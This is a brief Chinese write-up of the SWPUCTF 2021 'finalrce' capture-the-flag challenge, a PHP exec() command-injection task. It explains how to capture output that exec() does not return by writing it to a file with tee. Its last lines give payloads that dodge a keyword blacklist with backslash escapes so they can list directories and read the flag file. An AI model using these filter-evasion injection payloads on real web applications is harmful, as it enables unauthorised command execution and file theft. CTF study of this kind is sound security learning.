[SWPUCTF 2021 新生赛]finalrce
目录
[SWPUCTF 2021 新生赛]finalrce
|
|
exec() 在执行系统命令后,通常不会返回命令的输出结果 (回显) 到调用的 PHP 脚本
使用 tee 命令将命令的输出写入到某个文件,再去访问这个文件就能看到命令的执行结果
以下是一些
tee
命令的例子:
- 将命令的输出写入文件:
1
command | tee output.txt
将
command
命令的输出同时显示在终端并写入output.txt
文件
- 使用
-a
选项追加到文件:
1
command | tee -a output.txt
将
command
命令的输出追加到output.txt
文件的末尾
- 将输出同时写入多个文件:
1
command | tee file1.txt file2.txt
将
command
命令的输出同时写入file1.txt
和file2.txt
使用转义字符\
绕过黑名单
l\s ../../.. | tee output.txt
c\at ../../../flllll\aaaaaaggggggg | tee output.txt
欲将心事付瑶琴。知音少,弦断有谁听?